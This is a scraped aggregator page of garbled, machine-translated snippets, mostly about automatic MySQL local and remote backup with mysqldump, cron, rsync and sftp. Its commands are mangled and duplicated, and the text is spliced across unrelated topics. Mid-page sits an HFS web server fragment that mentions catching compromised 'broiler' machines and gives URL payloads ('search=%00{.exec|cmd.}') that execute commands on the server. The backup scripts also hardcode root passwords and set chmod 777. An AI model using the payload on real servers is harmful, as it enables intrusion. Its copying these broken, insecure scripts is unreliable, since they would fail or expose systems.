Instance method for mysql automatic incremental backup (local backup and remote backup) bitsCN.com
1. local backupCompile an automatic backup script:Vim/var/lib/mysql/autobakThe content is as follows:Cd/data/home/mysqlbakRq = 'date + % Y % m % d'/Usr/local/mysql/bin/mysqldum
1. Local backupCompile an automatic backup script:Vim/var/lib/mysql/autobakThe content is as follows:Copy codeThe Code is as follows:Cd/data/home/mysqlbakRq = 'date + % Y % m % d'/Usr/local/mysql/bin/mysqldump sqldb -- flush-logs-uroot-p123456 -- opt> 777city _ $ rq. SQLSave and exit.
Chmod-777/var/lib/mysql/autobak
Crontab-e00 00 ***/var/lib/mysql/autobakThe autobak script is automatically executed every morning./Etc/init. d/crontab restart
Manually
1. Local backupCompile an automatic backup script:Vim/var/lib/mysql/autobakThe content is as follows:
Copy codeThe Code is as follows: cd/data/home/mysqlbak
Rq = 'date + % Y % m % d'
/Usr/local/mysql/bin/mysqldump sqldb -- flush-logs-uroot-p123456 -- opt> 777city _ $ rq. SQL
Save and exit.
Chmod-777/var/lib/mysql/autobak
Crontab-e00 00 ***/var/lib/mysql/autobakThe autobak script is automatically executed every morning./Etc/init. d/crontab restart
Manu
MYSQL database automatic local remote dual-backup MYSQL incremental backup to build a high-security E-commerce website (automatic local/remote dual-backup of website files and databases) architecture diagram
We will continue to introduce the e-commerce system architecture
, Symantec Backup Exec Small Business Edition only 10 minutes less than the time, you can through three simple steps to simplify: Let your enterprise critical data to achieve complete protection.13. Symantec Backup Exec Small Business Edition integrates Symantec's industry-leading technologies into affordable solutions that are designed for growing businesses.VMware VCP Virtualization Engineer
Document directory
Software Information
Software:
Because a large number of Windows machines need to be managed at work, these machines are connected through remote desktop, so a batch management software is required.
After comparison, I selected remote desktop organiz
Tags: mysql automatic hot standbyPros: Hot backup, no impact on business, incremental backup, remote backup.Purpose: Automatically package backup to remote 10.0.0.111 backup serverPremise:1. Installing XtrabackupYum Install http:/
The Backup Exec Remote Agent is suspended when it is started on a remote server. The System Event Log On the remote server lists event ID: 7022, which is described: the Backup Exec Remote Agent for Windows Servers service hung on
This program is used particularly in the country, especially those who catch the black-wide broiler.
12
Http://localhost:80/?search==%00{.exec|cmd.} Http://localhost:80/search=%00{.exec|cmd.}
Note: Some versions of search are not in front of you.Test section:Baidu Search HFS Default is the 2.3x version, to perform the Echo test success:
1
Http://localhost:8080/?search==%00{.exec|cmd.exe%20/c%20echo>c:/1.txt%20123.}
Foreign
Multi-Backup
Symantec NBU backup software
backup
using Hyperindex technology to achieve large backup index , can back up massive file data Permanent incremental backup
adopt the traditio
Backup is an essential part of writing code, traditional backup, usually copy all the data to a place, and then labeled to indicate when the backup, this backup is called "Overall backup."
If you make a general backup, the disk sp
Considering that data is backed up on the local machine, once the machine's hard disk fails, the data cannot be taken out. Remote manual data backup is time-consuming and time-consuming. The best way is to use scripts to implement remote automatic mutual backup. However, a password is required for
; detailed explanation and comment on the backup script.
At the beginning of the e-commerce website in operation, we have been reiterated that we must back up our own data, because too much uncertainty may cause database loss, in addition, most basic service providers cannot provide daily backup data. Previously, this BLOG provided a backup method, just to mentio
Below is a MySQL backup instance, which is tested and passed in Ubuntu. The task is a local backup. It can be used on the server side.#! /Bin/bash
Echo "backupmysql V1.0"
### Date stamp ###Datestamp = $ (date + % Y-% m-% d)
### Path ###Startdir =/home/user/mysqlbackup
### Bakfile prefix ###Fileprefix = SQL
Echo "sqldump is starting .."
### Bakup command ####Mysqldump-uuser-ppassword-l databasename> $ startd
First, the introduction of rsync
Rsync is a data mirroring Backup tool under the Linux system that enables you to back up local system data over the network to any remote host, and Rsync has the following characteristics:
Can be mirrored to save the entire directory tree and file system
Data can be incrementally synchronized, file transfer efficiency is high, so synchronization time is very short.
You c
database task schedule backup after the setup is finished.2. Remote database backup: Implement remote database backup by job, back up the 192.168.35.96 database to 192.168.35.104, as follows:In SQL Server Agent right-start-job right-new job--fill in the Job name, category (
1. Local BackupTo write an automatic backup script:Vim/var/lib/mysql/autobakThe contents are as follows:
Copy Code code as follows:
Cd/data/home/mysqlbak
rq= ' Date +%y%m%d '
/usr/local/mysql/bin/mysqldump sqldb--flush-logs-uroot-p123456--opt > 777city_$rq.sql
Save exit.
Chmod-777/var/lib/mysql/autobak
Crontab-e* * * */var/lib/mysql/autobakThe Autobak script is automatically executed every evening early in the morning./etc
name, if not this line, indicates that it is anonymous secretsfile=/etc/backserver.pas # specifying the authentication password file location5. Provide the authentication file, and the permission must be 600# Vim/etc/backserver.pas root:123456# chmod 600/etc/backserver.pas6. Restart the service#/etc/init.d/xinetd Restart7. Synchronizing backups to 192.168.40.162Provide the authentication file, and the permissions must be 600# Vim/etc/backserver.pas 123456# chmod 600/etc/backserver.pas# mkdir-p/
"###################################### #################################"
Echo "...... Done" if you remotely take the backup to a remote location, the following is a client case I wrote (test environment RedHat-as-5 ). Use sftp protocol. Reference:#! /Bin/bash
Sftp root@www.domain.com
Cd/home/user/mysqlbackup
LCD/home/mysqlbackup/
-Get fileprefix $ (date + % Y-% m-% d). tgz
Quit
EOF note fileprefix $ (da
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.